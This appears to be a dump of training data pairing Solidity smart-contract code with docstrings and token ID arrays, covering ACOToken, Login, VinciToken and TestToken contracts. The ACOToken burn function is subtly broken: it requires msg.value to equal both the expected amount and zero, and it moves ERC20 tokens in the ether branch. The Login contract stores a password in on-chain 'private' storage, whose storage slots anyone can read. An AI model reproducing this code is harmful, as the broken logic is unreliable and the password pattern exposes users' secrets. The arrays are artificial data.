function _validateAndBurn(address account, uint256 tokenAmount) notExpired internal { require(tokenAmount > 0, "ACOToken::_validateAndBurn: Invalid token amount"); if (_accountHasCollateral(account)) { require(balanceOf(account) > tokenData[account].amount, "ACOToken::_validateAndBurn: Tokens compromised"); require(tokenAmount <= balanceOf(account).sub(tokenData[account].amount), "ACOToken::_validateAndBurn: Token amount not available"); } _callBurn(account, tokenAmount); (address exerciseAsset, uint256 expectedAmount) = getExerciseData(tokenAmount); if (_isEther(exerciseAsset)) { require(msg.value == expectedAmount, "ACOToken::_validateAndBurn: Invalid ether amount"); require(msg.value == 0, "ACOToken::_validateAndBurn: No ether expected"); _transferFromERC20(exerciseAsset, msg.sender, address(this), expectedAmount); } }
13,466,134
[ 1, 3061, 445, 358, 1954, 326, 24165, 1674, 471, 18305, 326, 17613, 2430, 18, 225, 2236, 5267, 434, 326, 2236, 716, 353, 431, 12610, 13734, 18, 225, 1147, 6275, 16811, 434, 2430, 18, 19, 17403, 392, 2236, 711, 443, 1724, 329, 4508, 2045, 287, 518, 1338, 848, 24165, 326, 2870, 3844, 434, 640, 6145, 429, 2430, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 5662, 1876, 38, 321, 12, 2867, 2236, 16, 2254, 5034, 1147, 6275, 13, 486, 10556, 2713, 288, 203, 3639, 2583, 12, 2316, 6275, 405, 374, 16, 315, 2226, 51, 1345, 2866, 67, 5662, 1876, 38, 321, 30, 1962, 1147, 3844, 8863, 203, 540, 203, 3639, 309, 261, 67, 4631, 5582, 13535, 2045, 287, 12, 4631, 3719, 288, 203, 5411, 2583, 12, 12296, 951, 12, 4631, 13, 405, 1147, 751, 63, 4631, 8009, 8949, 16, 315, 2226, 51, 1345, 2866, 67, 5662, 1876, 38, 321, 30, 13899, 1161, 520, 5918, 8863, 203, 5411, 2583, 12, 2316, 6275, 1648, 11013, 951, 12, 4631, 2934, 1717, 12, 2316, 751, 63, 4631, 8009, 8949, 3631, 315, 2226, 51, 1345, 2866, 67, 5662, 1876, 38, 321, 30, 3155, 3844, 486, 2319, 8863, 7010, 3639, 289, 203, 540, 203, 3639, 389, 1991, 38, 321, 12, 4631, 16, 1147, 6275, 1769, 203, 540, 203, 3639, 261, 2867, 24165, 6672, 16, 2254, 5034, 2665, 6275, 13, 273, 26246, 20603, 751, 12, 2316, 6275, 1769, 203, 203, 3639, 309, 261, 67, 291, 41, 1136, 12, 8913, 30708, 6672, 3719, 288, 203, 5411, 2583, 12, 3576, 18, 1132, 422, 2665, 6275, 16, 315, 2226, 51, 1345, 2866, 67, 5662, 1876, 38, 321, 30, 1962, 225, 2437, 3844, 8863, 203, 5411, 2583, 12, 3576, 18, 1132, 422, 374, 16, 315, 2226, 51, 1345, 2866, 67, 5662, 1876, 38, 321, 30, 2631, 225, 2437, 2665, 8863, 203, 5411, 389, 13866, 1265, 654, 39, 3462, 12, 8913, 30708, 6672, 16, 1234, 18, 15330, 16, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; contract Login { // Private variables // Each bytes32 variable would occupy one slot // because bytes32 variable has 256 bits(32*8) // which is the size of one slot // Slot 0 bytes32 private username; // Slot 1 bytes32 private password; constructor(bytes32 _username, bytes32 _password) { username = _username; password = _password; } }
Private variables Each bytes32 variable would occupy one slot because bytes32 variable has 256 bits(32*8) which is the size of one slot Slot 0 Slot 1
contract Login { bytes32 private username; bytes32 private password; pragma solidity ^0.8.4; constructor(bytes32 _username, bytes32 _password) { username = _username; password = _password; } }
6,448,465
[ 1, 6014, 3152, 8315, 1731, 1578, 2190, 4102, 18928, 93, 1245, 4694, 2724, 1731, 1578, 2190, 711, 8303, 4125, 12, 1578, 28, 13, 1492, 353, 326, 963, 434, 1245, 4694, 23195, 374, 23195, 404, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 11744, 288, 203, 203, 203, 565, 1731, 1578, 3238, 2718, 31, 203, 565, 1731, 1578, 3238, 2201, 31, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 24, 31, 203, 565, 3885, 12, 3890, 1578, 225, 389, 5053, 16, 1731, 1578, 225, 389, 3664, 13, 288, 203, 3639, 2718, 273, 389, 5053, 31, 203, 3639, 2201, 273, 389, 3664, 31, 203, 565, 289, 203, 97, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.8; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ERC223ReceiverMixin { function tokenFallback(address _from, uint256 _value, bytes memory _data) public; } /// @title Custom implementation of ERC223 contract ERC223Mixin is StandardToken { event Transfer(address indexed from, address indexed to, uint256 value, bytes data); function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { bytes memory empty; return transferFrom( _from, _to, _value, empty); } function transferFrom( address _from, address _to, uint256 _value, bytes memory _data ) public returns (bool) { require(_value <= allowed[_from][msg.sender], "Reached allowed value"); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); if (isContract(_to)) { return transferToContract( _from, _to, _value, _data); } else { return transferToAddress( _from, _to, _value, _data); } } function transfer(address _to, uint256 _value, bytes memory _data) public returns (bool success) { if (isContract(_to)) { return transferToContract( msg.sender, _to, _value, _data); } else { return transferToAddress( msg.sender, _to, _value, _data); } } function transfer(address _to, uint256 _value) public returns (bool success) { bytes memory empty; return transfer(_to, _value, empty); } function isContract(address _addr) internal view returns (bool) { uint256 length; // solium-disable-next-line security/no-inline-assembly assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } function moveTokens(address _from, address _to, uint256 _value) internal returns (bool success) { if (balanceOf(_from) < _value) { revert(); } balances[_from] = balanceOf(_from).sub(_value); balances[_to] = balanceOf(_to).add(_value); return true; } function transferToAddress( address _from, address _to, uint256 _value, bytes memory _data ) internal returns (bool success) { require(moveTokens(_from, _to, _value), "Move is not successful"); emit Transfer(_from, _to, _value); emit Transfer(_from, _to, _value, _data); // solium-disable-line arg-overflow return true; } //function that is called when transaction target is a contract function transferToContract( address _from, address _to, uint256 _value, bytes memory _data ) internal returns (bool success) { require(moveTokens(_from, _to, _value), "Move is not successful"); ERC223ReceiverMixin(_to).tokenFallback(_from, _value, _data); emit Transfer(_from, _to, _value); emit Transfer(_from, _to, _value, _data); // solium-disable-line arg-overflow return true; } } /// @title Role based access control mixin for Vinci Platform /// @dev Ignore DRY approach to achieve readability contract RBACMixin { /// @notice Constant string message to throw on lack of access string constant FORBIDDEN = "Doesn't have enough rights"; string constant DUPLICATE = "Requirement already satisfied"; /// @notice Public owner address public owner; /// @notice Public map of minters mapping (address => bool) public minters; /// @notice The event indicates a set of a new owner /// @param who is address of added owner event SetOwner(address indexed who); /// @notice The event indicates the addition of a new minter /// @param who is address of added minter event AddMinter(address indexed who); /// @notice The event indicates the deletion of a minter /// @param who is address of deleted minter event DeleteMinter(address indexed who); constructor () public { _setOwner(msg.sender); } /// @notice The functional modifier rejects the interaction of sender who is not an owner modifier onlyOwner() { require(isOwner(msg.sender), FORBIDDEN); _; } /// @notice Functional modifier for rejecting the interaction of senders that are not minters modifier onlyMinter() { require(isMinter(msg.sender), FORBIDDEN); _; } /// @notice Look up for the owner role on providen address /// @param _who is address to look up /// @return A boolean of owner role function isOwner(address _who) public view returns (bool) { return owner == _who; } /// @notice Look up for the minter role on providen address /// @param _who is address to look up /// @return A boolean of minter role function isMinter(address _who) public view returns (bool) { return minters[_who]; } /// @notice Adds the owner role to provided address /// @dev Requires owner role to interact /// @param _who is address to add role /// @return A boolean that indicates if the operation was successful. function setOwner(address _who) public onlyOwner returns (bool) { require(_who != address(0)); _setOwner(_who); } /// @notice Adds the minter role to provided address /// @dev Requires owner role to interact /// @param _who is address to add role /// @return A boolean that indicates if the operation was successful. function addMinter(address _who) public onlyOwner returns (bool) { _setMinter(_who, true); } /// @notice Deletes the minter role to provided address /// @dev Requires owner role to interact /// @param _who is address to delete role /// @return A boolean that indicates if the operation was successful. function deleteMinter(address _who) public onlyOwner returns (bool) { _setMinter(_who, false); } /// @notice Changes the owner role to provided address /// @param _who is address to change role /// @param _flag is next role status after success /// @return A boolean that indicates if the operation was successful. function _setOwner(address _who) private returns (bool) { require(owner != _who, DUPLICATE); owner = _who; emit SetOwner(_who); return true; } /// @notice Changes the minter role to provided address /// @param _who is address to change role /// @param _flag is next role status after success /// @return A boolean that indicates if the operation was successful. function _setMinter(address _who, bool _flag) private returns (bool) { require(minters[_who] != _flag, DUPLICATE); minters[_who] = _flag; if (_flag) { emit AddMinter(_who); } else { emit DeleteMinter(_who); } return true; } } contract RBACMintableTokenMixin is StandardToken, RBACMixin { /// @notice Total issued tokens uint256 totalIssued_; event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished, "Minting is finished"); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) onlyMinter canMint public returns (bool) { totalIssued_ = totalIssued_.add(_amount); totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title Standard Burnable Token * @dev Adds burnFrom method to ERC20 implementations */ contract StandardBurnableToken is BurnableToken, StandardToken { /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param _from address The address which you want to send tokens from * @param _value uint256 The amount of token to be burned */ function burnFrom(address _from, uint256 _value) public { require(_value <= allowed[_from][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } } /// @title Vinci token implementation /// @dev Implements ERC20, ERC223 and MintableToken interfaces contract VinciToken is StandardBurnableToken, ERC223Mixin, RBACMintableTokenMixin { /// @notice Constant field with token full name // solium-disable-next-line uppercase string constant public name = "Vinci"; /// @notice Constant field with token symbol string constant public symbol = "VINCI"; // solium-disable-line uppercase /// @notice Constant field with token precision depth uint256 constant public decimals = 18; // solium-disable-line uppercase /// @notice Constant field with token cap (total supply limit) uint256 constant public cap = 1500 * (10 ** 6) * (10 ** decimals); // solium-disable-line uppercase /// @notice Overrides original mint function from MintableToken to limit minting over cap /// @param _to The address that will receive the minted tokens. /// @param _amount The amount of tokens to mint. /// @return A boolean that indicates if the operation was successful. function mint( address _to, uint256 _amount ) public returns (bool) { require(totalIssued_.add(_amount) <= cap, "Cap reached"); return super.mint(_to, _amount); } }
@notice Constant string message to throw on lack of access @notice Public owner @notice Public map of minters @notice The event indicates a set of a new owner @param who is address of added owner @notice The event indicates the addition of a new minter @param who is address of added minter @notice The event indicates the deletion of a minter @param who is address of deleted minter
constructor () public { _setOwner(msg.sender); }
5,456,093
[ 1, 6902, 533, 883, 358, 604, 603, 30679, 434, 2006, 225, 7224, 3410, 225, 7224, 852, 434, 1131, 5432, 225, 1021, 871, 8527, 279, 444, 434, 279, 394, 3410, 225, 10354, 353, 1758, 434, 3096, 3410, 225, 1021, 871, 8527, 326, 2719, 434, 279, 394, 1131, 387, 225, 10354, 353, 1758, 434, 3096, 1131, 387, 225, 1021, 871, 8527, 326, 10899, 434, 279, 1131, 387, 225, 10354, 353, 1758, 434, 4282, 1131, 387, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 3885, 1832, 1071, 288, 203, 565, 389, 542, 5541, 12, 3576, 18, 15330, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.18; // File: contracts/mockContracts/TestToken.sol /* all this file is based on code from open zepplin * https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts/token */ /** * Standard ERC20 token * * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; require(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { require(b > 0); uint c = a / b; require(a == b * c + a % b); return c; } function sub(uint a, uint b) internal pure returns (uint) { require(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } //////////////////////////////////////////////////////////////////////////////// /* * ERC20Basic * Simpler version of ERC20 interface * see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public totalSupply; function balanceOf(address who) public view returns (uint); function transfer(address to, uint value) public returns (bool); event Transfer(address indexed from, address indexed to, uint value); } //////////////////////////////////////////////////////////////////////////////// /* * ERC20 interface * see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint); function transferFrom(address from, address to, uint value) public returns (bool); function approve(address spender, uint value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint value); } //////////////////////////////////////////////////////////////////////////////// /* * Basic token * Basic version of StandardToken, with no allowances */ contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /* * Fix for the ERC20 short address attack */ modifier onlyPayloadSize(uint size) { if (msg.data.length < size + 4) { revert(); } _; } function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } } //////////////////////////////////////////////////////////////////////////////// /** * Standard ERC20 token * * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) public returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already revert if this condition is not met if (_value > _allowance) revert(); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint remaining) { return allowed[_owner][_spender]; } } //////////////////////////////////////////////////////////////////////////////// /* * SimpleToken * * Very simple ERC20 Token example, where all tokens are pre-assigned * to the creator. Note they can later distribute these tokens * as they wish using `transfer` and other `StandardToken` functions. */ contract TestToken is StandardToken { string public name = "Test"; string public symbol = "TST"; uint public decimals = 18; uint public INITIAL_SUPPLY = 10**(50+18); function TestToken(string _name, string _symbol, uint _decimals) public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; name = _name; symbol = _symbol; decimals = _decimals; } event Burn(address indexed _burner, uint _value); function burn(uint _value) public returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); Transfer(msg.sender, address(0x0), _value); return true; } // save some gas by making only one contract call function burnFrom(address _from, uint256 _value) public returns (bool) { transferFrom( _from, msg.sender, _value ); return burn(_value); } }
save some gas by making only one contract call
function burnFrom(address _from, uint256 _value) public returns (bool) { transferFrom( _from, msg.sender, _value ); return burn(_value); }
11,886,422
[ 1, 5688, 2690, 16189, 635, 10480, 1338, 1245, 6835, 745, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
